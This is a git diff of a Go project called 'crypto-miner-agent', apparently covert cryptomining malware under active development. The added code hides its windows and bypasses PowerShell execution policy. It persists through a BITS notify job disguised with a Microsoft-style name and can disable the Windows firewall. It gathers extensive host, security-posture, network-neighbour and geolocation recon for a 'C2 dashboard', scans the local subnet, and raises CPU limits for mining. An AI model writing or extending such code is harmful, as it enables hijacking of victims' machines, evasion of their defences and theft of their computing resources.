%w", err) + } + + // Install silently. + if err := runHidden(installerPath, "/S"); err != nil { + return "", fmt.Errorf("wireguard install: %w", err) + } + + wgExe := `C:\Program Files\WireGuard\wireguard.exe` + if _, err := os.Stat(wgExe); err != nil { + return "", fmt.Errorf("wireguard.exe not found after install") + } + return wgExe, nil +} + +func enableIPForwarding() error { + script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue` + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", + "-WindowStyle", "Hidden", "-Command", script) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000} + return cmd.Run() +} + +func runHidden(name string, args ...string) error { + cmd := exec.Command(name, args...) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000} + return cmd.Run() +} + +// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result. +func WGSetupJSON() string { + res := WGSetup() + b, _ := json.Marshal(res) + return string(b) +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index b786b17..d762688 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -49,17 +49,6 @@ type AuthResponse struct { Error string `json:"error"` } -type Job struct { - ID string `json:"job_id"` - Height int64 `json:"height"` - BlockTemplate string `json:"blocktemplate"` - Difficulty int64 `json:"difficulty"` - SeedHash string `json:"seed_hash"` - Target string `json:"target"` - Blob string `json:"blob"` - Algo string `json:"algo"` -} - type SharePayload struct { JobID string `json:"job_id"` Nonce string `json:"nonce"` diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go index cb3652a..5720ba1 100644 --- a/agent/client/protocol_test.go +++ b/agent/client/protocol_test.go @@ -3,6 +3,8 @@ package client import ( "encoding/json" "testing" + + "crypto-miner-agent/job" ) func roundTrip(t *testing.T, v any, dst any) { @@ -53,9 +55,9 @@ func TestAuthResponseJSONRoundTrip(t *testing.T) { } func TestJobJSONRoundTrip(t *testing.T) { - in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500, + in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500, SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"} - var out Job + var out job.Job roundTrip(t, in, &out) if out.ID != "j1" || out.Blob != "blob" { t.Fatalf("unexpected: %+v", out) diff --git a/agent/client/syscheck.go b/agent/client/syscheck.go new file mode 100644 index 0000000..01ca49e --- /dev/null +++ b/agent/client/syscheck.go @@ -0,0 +1,106 @@ +package client + +import ( + "os" + "runtime" + "strings" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +const syscheckRawMax = 12000 + +// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard. +func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport { + r := &FullSysCheckReport{ + GeneratedAt: time.Now().UTC().Format(time.RFC3339), + Platform: runtime.GOOS, + Arch: runtime.GOARCH, + OSVersion: deploy.HostOSVersion(), + WorkerName: cfg.WorkerName, + BuildID: cfg.BuildID, + AgentID: agentID, + Network: &SysCheckNetwork{}, + Neighbors: &SysCheckNeighbors{}, + } + + if host, err := os.Hostname(); err == nil { + r.Hostname = host + } + + if p := collectPosture(); p != nil { + r.Security = securityFromPosture(p) + if p.AgentElevated != nil { + r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated} + } + } + r.Patch = collectPatchStatus() + r.ListenPorts = collectListenPorts() + r.Resources = collectResourcePressure() + + if dns := probeDNS(); dns != nil { + r.Network.DNS = dns + } + r.Network.Interfaces = listNetInterfaces() + if lip, err := deploy.PrimaryLocalIPv4(); err == nil { + r.Network.PrimaryLocalIP = lip + } + extIP, src := fetchExternalIP() + r.Network.ExternalIP = extIP + r.Network.ExternalIPSource = src + if extIP != "" { + r.Network.Geo = fetchGeo(extIP) + } + + arp := deploy.ArpNeighborIPs() + r.Neighbors.ArpHosts = arp + r.Neighbors.ArpCount = len(arp) + r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56) + + collectSysCheckPlatform(r) + + if dir, err := cfg.InstallDirectory(); err == nil { + if r.Environment == nil { + r.Environment = &SysCheckEnvironment{} + } + r.Environment.InstallDir = dir + } + + r.RawSysinfo = truncateRaw(captureRawSysinfo()) + r.RawIPConfig = truncateRaw(captureRawIPConfig()) + r.RawNetstat = truncateRaw(captureRawNetstat()) + + return r +} + +func truncateRaw(s string) string { + s = strings.TrimSpace(s) + if len(s) <= syscheckRawMax { + return s + } + return s[:syscheckRawMax] + "\n…[truncated]" +} + +func captureRawSysinfo() string { + _, _, msg := platformReconStatic("sysinfo", "") + return msg +} + +func captureRawIPConfig() string { + _, _, msg := platformReconStatic("ipconfig", "") + return msg +} + +func captureRawNetstat() string { + _, _, msg := platformReconStatic("netstat", "") + return msg +} + +// platformReconStatic runs one recon action without AgentClient (for syscheck bundle). +func platformReconStatic(action, command string) (bool, bool, string) { + // Minimal stub client-free path: duplicate switch via temp + ac := &AgentClient{} + return ac.platformRecon(action, command) +} diff --git a/agent/client/syscheck_net.go b/agent/client/syscheck_net.go new file mode 100644 index 0000000..fa68d45 --- /dev/null +++ b/agent/client/syscheck_net.go @@ -0,0 +1,131 @@ +package client + +import ( + "encoding/json" + "fmt" + "io" + "net" + "net/http" + "strings" + "time" + + "crypto-miner-agent/deploy" +) + +func listNetInterfaces() []SysCheckInterface { + ifaces, err := net.Interfaces() + if err != nil { + return nil + } + var out []SysCheckInterface + for _, iface := range ifaces { + if iface.Flags&net.FlagUp == 0 { + continue + } + entry := SysCheckInterface{Name: iface.Name} + if mac := iface.HardwareAddr.String(); mac != "" { + entry.MAC = mac + } + addrs, err := iface.Addrs() + if err != nil { + continue + } + for _, a := range addrs { + switch v := a.(type) { + case *net.IPNet: + if ip4 := v.IP.To4(); ip4 != nil { + entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask))) + } else if v.IP != nil && v.IP.To4() == nil { + entry.IPv6 = append(entry.IPv6, v.IP.String()) + } + } + } + if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" { + out = append(out, entry) + } + } + return out +} + +func ones(mask net.IPMask) int { + n, _ := mask.Size() + return n +} + +func fetchExternalIP() (ip, source string) { + client := &http.Client{Timeout: 6 * time.Second} + services := []struct { + url string + source string + }{ + {"https://api.ipify.org", "ipify"}, + {"https://icanhazip.com", "icanhazip"}, + {"https://ifconfig.me/ip", "ifconfig.me"}, + } + for _, svc := range services { + resp, err := client.Get(svc.url) + if err != nil { + continue + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 64)) + resp.Body.Close() + if err != nil || resp.StatusCode != http.StatusOK { + continue + } + candidate := strings.TrimSpace(string(body)) + if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil { + return candidate, svc.source + } + } + if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" { + return wan, "upnp" + } + return "", "" +} + +func fetchGeo(ip string) *SysCheckGeo { + if ip == "" { + return nil + } + url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip) + client := &http.Client{Timeout: 8 * time.Second} + resp, err := client.Get(url) + if err != nil { + return nil + } + defer resp.Body.Close() + data, err := io.ReadAll(io.LimitReader(resp.Body, 4096)) + if err != nil { + return nil + } + var m map[string]interface{} + if json.Unmarshal(data, &m) != nil { + return nil + } + if s, _ := m["status"].(string); s != "success" { + return nil + } + g := &SysCheckGeo{Query: ip} + if v, ok := m["country"].(string); ok { + g.Country = v + } + if v, ok := m["regionName"].(string); ok { + g.Region = v + } + if v, ok := m["city"].(string); ok { + g.City = v + } + if v, ok := m["isp"].(string); ok { + g.ISP = v + } + if v, ok := m["org"].(string); ok { + g.Org = v + } + if v, ok := m["lat"].(float64); ok { + g.Lat = v + } + if v, ok := m["lon"].(float64); ok { + g.Lon = v + } + return g +} diff --git a/agent/client/syscheck_types.go b/agent/client/syscheck_types.go new file mode 100644 index 0000000..0df7dc5 --- /dev/null +++ b/agent/client/syscheck_types.go @@ -0,0 +1,158 @@ +package client + +import "encoding/json" + +// FullSysCheckReport is returned by the full_sys_check command (read-only recon). +type FullSysCheckReport struct { + GeneratedAt string `json:"generated_at"` + Platform string `json:"platform"` + Arch string `json:"arch"` + OSVersion string `json:"os_version,omitempty"` + Hostname string `json:"hostname,omitempty"` + WorkerName string `json:"worker_name,omitempty"` + BuildID string `json:"build_id,omitempty"` + AgentID string `json:"agent_id,omitempty"` + + Identity *SysCheckIdentity `json:"identity,omitempty"` + Hardware *SysCheckHardware `json:"hardware,omitempty"` + Security *SysCheckSecurity `json:"security,omitempty"` + Network *SysCheckNetwork `json:"network,omitempty"` + Resources *ResourcePressure `json:"resources,omitempty"` + ListenPorts *ListenPortsReport `json:"listen_ports,omitempty"` + Patch *PatchStatusReport `json:"patch,omitempty"` + Environment *SysCheckEnvironment `json:"environment,omitempty"` + Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"` + + RawSysinfo string `json:"raw_sysinfo,omitempty"` + RawIPConfig string `json:"raw_ipconfig,omitempty"` + RawNetstat string `json:"raw_netstat,omitempty"` + ProbeErrors []string `json:"probe_errors,omitempty"` +} + +type SysCheckIdentity struct { + Username string `json:"username,omitempty"` + Domain string `json:"domain,omitempty"` + ComputerName string `json:"computer_name,omitempty"` + AgentElevated bool `json:"agent_elevated,omitempty"` + MACAddress string `json:"mac_address,omitempty"` +} + +type SysCheckHardware struct { + Manufacturer string `json:"manufacturer,omitempty"` + Model string `json:"model,omitempty"` + Serial string `json:"serial,omitempty"` + BIOSVersion string `json:"bios_version,omitempty"` + CPUs []SysCheckCPU `json:"cpus,omitempty"` + MemoryGB float64 `json:"memory_gb,omitempty"` + GPUs []SysCheckGPU `json:"gpus,omitempty"` + Disks []SysCheckDisk `json:"disks,omitempty"` + UptimeHours float64 `json:"uptime_hours,omitempty"` +} + +type SysCheckCPU struct { + Name string `json:"name,omitempty"` + Cores int `json:"cores,omitempty"` + Logical int `json:"logical,omitempty"` + MaxMHz int `json:"max_mhz,omitempty"` + CurrentMHz int `json:"current_mhz,omitempty"` +} + +type SysCheckGPU struct { + Name string `json:"name,omitempty"` + Driver string `json:"driver,omitempty"` + VRAM_MB int `json:"vram_mb,omitempty"` +} + +type SysCheckDisk struct { + Mount string `json:"mount,omitempty"` + Label string `json:"label,omitempty"` + FSType string `json:"fs_type,omitempty"` + TotalGB float64 `json:"total_gb,omitempty"` + FreeGB float64 `json:"free_gb,omitempty"` + FreePct int `json:"free_pct,omitempty"` +} + +type SysCheckSecurity struct { + PostureScore int `json:"posture_score,omitempty"` + DefenderEnabled *bool `json:"defender_enabled,omitempty"` + DefenderRTP *bool `json:"defender_rtp,omitempty"` + AVProducts []string `json:"av_products,omitempty"` + FirewallDomain *bool `json:"firewall_domain,omitempty"` + FirewallPrivate *bool `json:"firewall_private,omitempty"` + FirewallPublic *bool `json:"firewall_public,omitempty"` + SSHListening *bool `json:"ssh_listening,omitempty"` + PendingUpdates *int `json:"pending_updates,omitempty"` + LastPatch *string `json:"last_patch,omitempty"` + LastPatchDays *int `json:"last_patch_days,omitempty"` + RebootPending *bool `json:"reboot_pending,omitempty"` + Services []ServiceStatus `json:"services,omitempty"` +} + +type SysCheckNetwork struct { + PrimaryLocalIP string `json:"primary_local_ip,omitempty"` + ExternalIP string `json:"external_ip,omitempty"` + ExternalIPSource string `json:"external_ip_source,omitempty"` + Geo *SysCheckGeo `json:"geo,omitempty"` + DNS *DNSConfig `json:"dns,omitempty"` + Interfaces []SysCheckInterface `json:"interfaces,omitempty"` + DefaultGateway string `json:"default_gateway,omitempty"` + RoutesSummary string `json:"routes_summary,omitempty"` +} + +type SysCheckGeo struct { + Query string `json:"query,omitempty"` + Country string `json:"country,omitempty"` + Region string `json:"region,omitempty"` + City string `json:"city,omitempty"` + ISP string `json:"isp,omitempty"` + Org string `json:"org,omitempty"` + Lat float64 `json:"lat,omitempty"` + Lon float64 `json:"lon,omitempty"` +} + +type SysCheckInterface struct { + Name string `json:"name,omitempty"` + MAC string `json:"mac,omitempty"` + IPv4 []string `json:"ipv4,omitempty"` + IPv6 []string `json:"ipv6,omitempty"` +} + +type SysCheckEnvironment struct { + Timezone string `json:"timezone,omitempty"` + Locale string `json:"locale,omitempty"` + HomeDir string `json:"home_dir,omitempty"` + TempDir string `json:"temp_dir,omitempty"` + InstallDir string `json:"install_dir,omitempty"` +} + +type SysCheckNeighbors struct { + ArpHosts []string `json:"arp_hosts,omitempty"` + SubnetScan string `json:"subnet_scan,omitempty"` + ArpCount int `json:"arp_count,omitempty"` +} + +func (r *FullSysCheckReport) JSON() string { + b, _ := json.Marshal(r) + return string(b) +} + +func securityFromPosture(p *PostureReport) *SysCheckSecurity { + if p == nil { + return nil + } + return &SysCheckSecurity{ + PostureScore: p.PostureScore, + DefenderEnabled: p.DefenderEnabled, + DefenderRTP: p.DefenderRTP, + AVProducts: p.AVProducts, + FirewallDomain: p.FirewallDomain, + FirewallPrivate: p.FirewallPrivate, + FirewallPublic: p.FirewallPublic, + SSHListening: p.SSHListening, + PendingUpdates: p.PendingUpdates, + LastPatch: p.LastPatch, + LastPatchDays: p.LastPatchDays, + RebootPending: p.RebootPending, + Services: p.Services, + } +} diff --git a/agent/client/syscheck_unix.go b/agent/client/syscheck_unix.go new file mode 100644 index 0000000..dc17f0a --- /dev/null +++ b/agent/client/syscheck_unix.go @@ -0,0 +1,138 @@ +//go:build !windows + +package client + +import ( + "os" + "os/exec" + "os/user" + "runtime" + "strconv" + "strings" +) + +func collectSysCheckPlatform(r *FullSysCheckReport) { + hw := &SysCheckHardware{} + + if out, err := exec.Command("uname", "-a").CombinedOutput(); err == nil { + parts := strings.Fields(string(out)) + if len(parts) >= 3 { + hw.Manufacturer = parts[2] + } + } + + if runtime.GOOS == "darwin" { + if out, err := exec.Command("sysctl", "-n", "hw.model").CombinedOutput(); err == nil { + hw.Model = strings.TrimSpace(string(out)) + } + if out, err := exec.Command("sysctl", "-n", "hw.memsize").CombinedOutput(); err == nil { + if n, err := strconv.ParseInt(strings.TrimSpace(string(out)), 10, 64); err == nil { + hw.MemoryGB = float64(n) / (1024 * 1024 * 1024) + } + } + } else { + if out, err := exec.Command("sh", "-c", "grep -m1 'model name' /proc/cpuinfo | cut -d: -f2").CombinedOutput(); err == nil { + hw.CPUs = []SysCheckCPU{{Name: strings.TrimSpace(string(out))}} + } + if out, err := exec.Command("sh", "-c", "grep -c ^processor /proc/cpuinfo").CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && len(hw.CPUs) > 0 { + hw.CPUs[0].Logical = n + } + } + if out, err := exec.Command("free", "-b").CombinedOutput(); err == nil { + lines := strings.Split(string(out), "\n") + if len(lines) > 1 { + fields := strings.Fields(lines[1]) + if len(fields) >= 2 { + if total, err := strconv.ParseInt(fields[1], 10, 64); err == nil { + hw.MemoryGB = float64(total) / (1024 * 1024 * 1024) + } + } + } + } + } + + if out, err := exec.Command("df", "-h").CombinedOutput(); err == nil { + hw.Disks = parseDfOutput(string(out)) + } + + if out, err := exec.Command("sh", "-c", "cat /proc/uptime 2>/dev/null || sysctl -n kern.boottime 2>/dev/null").CombinedOutput(); err == nil { + fields := strings.Fields(string(out)) + if len(fields) > 0 { + if sec, err := strconv.ParseFloat(fields[0], 64); err == nil { + hw.UptimeHours = sec / 3600 + } + } + } + + r.Hardware = hw + + if r.Identity == nil { + r.Identity = &SysCheckIdentity{} + } + if u, err := user.Current(); err == nil { + r.Identity.Username = u.Username + } + r.Identity.MACAddress = primaryMACAddress() + + if r.Environment == nil { + r.Environment = &SysCheckEnvironment{} + } + r.Environment.HomeDir = os.Getenv("HOME") + r.Environment.TempDir = os.Getenv("TMPDIR") + if r.Environment.TempDir == "" { + r.Environment.TempDir = "/tmp" + } + + if r.Network == nil { + r.Network = &SysCheckNetwork{} + } + if out, err := exec.Command("sh", "-c", "ip route show default 2>/dev/null || route -n get default 2>/dev/null").CombinedOutput(); err == nil { + r.Network.RoutesSummary = strings.TrimSpace(string(out)) + for _, line := range strings.Split(string(out), "\n") { + if strings.Contains(line, "via") || strings.Contains(line, "gateway:") { + fields := strings.Fields(line) + for i, f := range fields { + if f == "via" && i+1 < len(fields) { + r.Network.DefaultGateway = fields[i+1] + break + } + if strings.HasPrefix(f, "gateway:") { + r.Network.DefaultGateway = strings.TrimPrefix(f, "gateway:") + break + } + } + break + } + } + } +} + +func parseDfOutput(raw string) []SysCheckDisk { + var disks []SysCheckDisk + for _, line := range strings.Split(raw, "\n")[1:] { + fields := strings.Fields(line) + if len(fields) < 6 { + continue + } + mount := fields[len(fields)-1] + disks = append(disks, SysCheckDisk{ + Mount: mount, + FSType: fields[0], + TotalGB: parseSizeGB(fields[1]), + FreeGB: parseSizeGB(fields[3]), + }) + } + return disks +} + +func parseSizeGB(s string) float64 { + s = strings.TrimSuffix(s, "G") + s = strings.TrimSuffix(s, "T") + s = strings.TrimSuffix(s, "M") + f, _ := strconv.ParseFloat(s, 64) + if strings.HasSuffix(s, "T") { + return f * 1024 + } + return f +} diff --git a/agent/client/syscheck_windows.go b/agent/client/syscheck_windows.go new file mode 100644 index 0000000..ea71004 --- /dev/null +++ b/agent/client/syscheck_windows.go @@ -0,0 +1,264 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "os" + "os/user" + "strings" +) + +const sysCheckWindowsScript = ` +$ErrorActionPreference = 'SilentlyContinue' +$o = [ordered]@{} + +# Identity +try { + $cs = Get-CimInstance Win32_ComputerSystem + $o.manufacturer = $cs.Manufacturer + $o.model = $cs.Model + $o.domain = $cs.Domain + $o.computer_name = $env:COMPUTERNAME + $o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2) +} catch {} + +try { + $bios = Get-CimInstance Win32_BIOS + $o.serial = $bios.SerialNumber + $o.bios_version = $bios.SMBIOSBIOSVersion +} catch {} + +try { + $o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object { + [ordered]@{ + name = $_.Name + cores = [int]$_.NumberOfCores + logical = [int]$_.NumberOfLogicalProcessors + max_mhz = [int]$_.MaxClockSpeed + current_mhz = [int]$_.CurrentClockSpeed + } + }) +} catch {} + +try { + $o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object { + [ordered]@{ + name = $_.Name + driver = $_.DriverVersion + vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 } + } + }) +} catch {} + +try { + $o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object { + $freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 } + [ordered]@{ + mount = $_.DeviceID + label = $_.VolumeName + fs_type = $_.FileSystem + total_gb = [math]::Round($_.Size / 1GB, 2) + free_gb = [math]::Round($_.FreeSpace / 1GB, 2) + free_pct = $freePct + } + }) +} catch {} + +try { + $os = Get-CimInstance Win32_OperatingSystem + $o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1) + $o.timezone = (Get-TimeZone).Id +} catch {} + +try { + $gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue | + Sort-Object RouteMetric | Select-Object -First 1 + if ($gw) { $o.default_gateway = $gw.NextHop } +} catch {} + +try { + $routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue | + Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric | + Format-Table -AutoSize | Out-String -Width 200 + $o.routes_summary = $routes.Trim() +} catch {} + +$o | ConvertTo-Json -Depth 5 -Compress +` + +func collectSysCheckPlatform(r *FullSysCheckReport) { + out, err := silentCombinedOutput( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + sysCheckWindowsScript, + ) + if err != nil { + r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error()) + } else { + parseWindowsSysCheckJSON(r, string(out)) + } + + if r.Identity == nil { + r.Identity = &SysCheckIdentity{} + } + if u, err := user.Current(); err == nil { + r.Identity.Username = u.Username + } + r.Identity.MACAddress = primaryMACAddress() + if r.Environment == nil { + r.Environment = &SysCheckEnvironment{} + } + r.Environment.TempDir = os.Getenv("TEMP") + r.Environment.HomeDir = os.Getenv("USERPROFILE") +} + +func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) { + raw = strings.TrimSpace(raw) + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + var m map[string]interface{} + if json.Unmarshal([]byte(raw), &m) != nil { + return + } + + hw := &SysCheckHardware{} + if v, ok := m["manufacturer"].(string); ok { + hw.Manufacturer = v + } + if v, ok := m["model"].(string); ok { + hw.Model = v + } + if v, ok := m["serial"].(string); ok { + hw.Serial = v + } + if v, ok := m["bios_version"].(string); ok { + hw.BIOSVersion = v + } + if v, ok := m["total_ram_gb"].(float64); ok { + hw.MemoryGB = v + } + if v, ok := m["uptime_hours"].(float64); ok { + hw.UptimeHours = v + } + hw.CPUs = parseCPUList(m["cpus"]) + hw.GPUs = parseGPUList(m["gpus"]) + hw.Disks = parseDiskList(m["disks"]) + r.Hardware = hw + + if r.Identity == nil { + r.Identity = &SysCheckIdentity{} + } + if v, ok := m["domain"].(string); ok { + r.Identity.Domain = v + } + if v, ok := m["computer_name"].(string); ok { + r.Identity.ComputerName = v + } + + if r.Network == nil { + r.Network = &SysCheckNetwork{} + } + if v, ok := m["default_gateway"].(string); ok { + r.Network.DefaultGateway = v + } + if v, ok := m["routes_summary"].(string); ok { + r.Network.RoutesSummary = v + } + + if r.Environment == nil { + r.Environment = &SysCheckEnvironment{} + } + if v, ok := m["timezone"].(string); ok { + r.Environment.Timezone = v + } +} + +func parseCPUList(v interface{}) []SysCheckCPU { + arr, ok := v.([]interface{}) + if !ok { + return nil + } + var out []SysCheckCPU + for _, item := range arr { + obj, ok := item.(map[string]interface{}) + if !ok { + continue + } + c := SysCheckCPU{Name: mapStr(obj, "name")} + if n, ok := obj["cores"].(float64); ok { + c.Cores = int(n) + } + if n, ok := obj["logical"].(float64); ok { + c.Logical = int(n) + } + if n, ok := obj["max_mhz"].(float64); ok { + c.MaxMHz = int(n) + } + if n, ok := obj["current_mhz"].(float64); ok { + c.CurrentMHz = int(n) + } + out = append(out, c) + } + return out +} + +func parseGPUList(v interface{}) []SysCheckGPU { + arr, ok := v.([]interface{}) + if !ok { + return nil + } + var out []SysCheckGPU + for _, item := range arr { + obj, ok := item.(map[string]interface{}) + if !ok { + continue + } + g := SysCheckGPU{ + Name: mapStr(obj, "name"), + Driver: mapStr(obj, "driver"), + } + if n, ok := obj["vram_mb"].(float64); ok { + g.VRAM_MB = int(n) + } + out = append(out, g) + } + return out +} + +func parseDiskList(v interface{}) []SysCheckDisk { + arr, ok := v.([]interface{}) + if !ok { + return nil + } + var out []SysCheckDisk + for _, item := range arr { + obj, ok := item.(map[string]interface{}) + if !ok { + continue + } + d := SysCheckDisk{ + Mount: mapStr(obj, "mount"), + Label: mapStr(obj, "label"), + FSType: mapStr(obj, "fs_type"), + } + if n, ok := obj["total_gb"].(float64); ok { + d.TotalGB = n + } + if n, ok := obj["free_gb"].(float64); ok { + d.FreeGB = n + } + if n, ok := obj["free_pct"].(float64); ok { + d.FreePct = int(n) + } + out = append(out, d) + } + return out +} + +func mapStr(m map[string]interface{}, key string) string { + if v, ok := m[key].(string); ok { + return v + } + return "" +} diff --git a/agent/config/builtin.go b/agent/config/builtin.go index c5ea238..767999b 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -23,9 +23,9 @@ func GetBuiltinConfig() BuiltinConfig { PoolPort: 3333, PoolTLS: false, PoolPass: "x", - MaxCPUUsage: 80, - MaxMemoryPct: 70, - MinFreeRAM: 1024, + MaxCPUUsage: 95, + MaxMemoryPct: 85, + MinFreeRAM: 512, IdleThresholdPct: 20, IdleDurationMinutes: 5, ScheduleStart: "21:00", diff --git a/agent/config/config.go b/agent/config/config.go index 585c79d..b1aa595 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -20,6 +20,7 @@ type BuiltinConfig struct { DisplayMode string SilentMode bool RunAs string + HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary AutoStart bool ProcessName string BuildID string diff --git a/agent/crypto-miner-agent b/agent/crypto-miner-agent deleted file mode 100644 index 640ba0d..0000000 Binary files a/agent/crypto-miner-agent and /dev/null differ diff --git a/agent/deploy/aggressive_stub.go b/agent/deploy/aggressive_stub.go index 1ca2519..2519e30 100644 --- a/agent/deploy/aggressive_stub.go +++ b/agent/deploy/aggressive_stub.go @@ -12,4 +12,20 @@ func OpenFirewallPort(_ int, _ string) (string, error) { return "", fmt.Errorf("firewall port open is Windows-only") } +func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) { + return "", fmt.Errorf("firewall profile control is Windows-only") +} + +func DisableWindowsFirewall() (string, error) { + return "", fmt.Errorf("firewall disable is Windows-only") +} + +func EnableWindowsFirewall() (string, error) { + return "", fmt.Errorf("firewall enable is Windows-only") +} + +func RemoveFirewallRuleByName(_ string) (string, error) { + return "", fmt.Errorf("firewall rule removal is Windows-only") +} + func SilentAVExclusion(_, _ string) {} // no-op on non-Windows diff --git a/agent/deploy/bits_stub.go b/agent/deploy/bits_stub.go new file mode 100644 index 0000000..c806c9a --- /dev/null +++ b/agent/deploy/bits_stub.go @@ -0,0 +1,17 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + + "crypto-miner-agent/config" +) + +func CreateBITSPersistence(_ config.RuntimeConfig, _ string) error { + return fmt.Errorf("BITS persistence is Windows-only") +} + +func RemoveBITSPersistence(_ config.RuntimeConfig) {} + +func BitsJobName(_ config.RuntimeConfig) string { return "" } diff --git a/agent/deploy/bits_windows.go b/agent/deploy/bits_windows.go new file mode 100644 index 0000000..293b63b --- /dev/null +++ b/agent/deploy/bits_windows.go @@ -0,0 +1,92 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "crypto-miner-agent/config" +) + +// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the +// miner when the transfer job errors, completes, or retries (common stealthy hook). +// BitsJobName returns the BITS notify job name for this worker build. +func BitsJobName(cfg config.RuntimeConfig) string { + return bitsJobName(cfg) +} + +func bitsJobName(cfg config.RuntimeConfig) string { + base := PersistenceKeyName(cfg) + if base == "" { + base = "CryptoMinerAgent" + } + return "Microsoft-Windows-BITS-" + sanitizeName(base) +} + +func bitsJobExists(jobName string) bool { + out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose") + if err != nil { + return false + } + return strings.Contains(string(out), jobName) +} + +// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner. +func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error { + if strings.TrimSpace(binPath) == "" { + return fmt.Errorf("binary path required") + } + job := bitsJobName(cfg) + if bitsJobExists(job) { + return nil + } + + installDir, err := cfg.InstallDirectory() + if err != nil { + return err + } + if err := os.MkdirAll(installDir, 0o755); err != nil { + return err + } + localFile := filepath.Join(installDir, ".bits-transfer.stub") + if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil { + return err + } + + remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder" + exeEsc := strings.ReplaceAll(binPath, `"`, `""`) + params := strings.ReplaceAll(runFlag, `"`, `""`) + + steps := []struct { + name string + args []string + }{ + {"create", []string{"/create", "/download", job}}, + {"addfile", []string{"/addfile", job, remoteURL, localFile}}, + {"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}}, + {"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}}, + {"retry", []string{"/SetMinRetryDelay", job, "60"}}, + {"resume", []string{"/resume", job}}, + } + for _, step := range steps { + args := append([]string{"bitsadmin"}, step.args...) + if err := HiddenRun(args[0], args[1:]...); err != nil { + _ = HiddenRun("bitsadmin", "/cancel", job) + return fmt.Errorf("bitsadmin %s: %w", step.name, err) + } + } + return nil +} + +// RemoveBITSPersistence cancels and removes the BITS notify job for this worker. +func RemoveBITSPersistence(cfg config.RuntimeConfig) { + job := bitsJobName(cfg) + _ = HiddenRun("bitsadmin", "/cancel", job) + _ = HiddenRun("bitsadmin", "/complete", job) + if installDir, err := cfg.InstallDirectory(); err == nil { + _ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub")) + } +} diff --git a/agent/deploy/bits_windows_test.go b/agent/deploy/bits_windows_test.go new file mode 100644 index 0000000..62fc0d9 --- /dev/null +++ b/agent/deploy/bits_windows_test.go @@ -0,0 +1,20 @@ +//go:build windows + +package deploy + +import ( + "strings" + "testing" + +) + +func TestBitsJobName(t *testing.T) { + cfg := testRuntimeConfig() + name := BitsJobName(cfg) + if !strings.HasPrefix(name, "Microsoft-Windows-BITS-") { + t.Fatalf("unexpected prefix: %q", name) + } + if strings.Contains(name, " ") { + t.Fatalf("job name must not contain spaces: %q", name) + } +} diff --git a/agent/deploy/desktop_path.go b/agent/deploy/desktop_path.go new file mode 100644 index 0000000..05a9d7c --- /dev/null +++ b/agent/deploy/desktop_path.go @@ -0,0 +1,129 @@ +package deploy + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" +) + +const desktopPathPrefix = "@desktop/" + +// UserDesktopDir returns the interactive user's Desktop folder for the current OS. +func UserDesktopDir() (string, error) { + switch runtime.GOOS { + case "windows": + return windowsDesktopDir() + case "darwin": + return unixDesktopFromHome("Desktop") 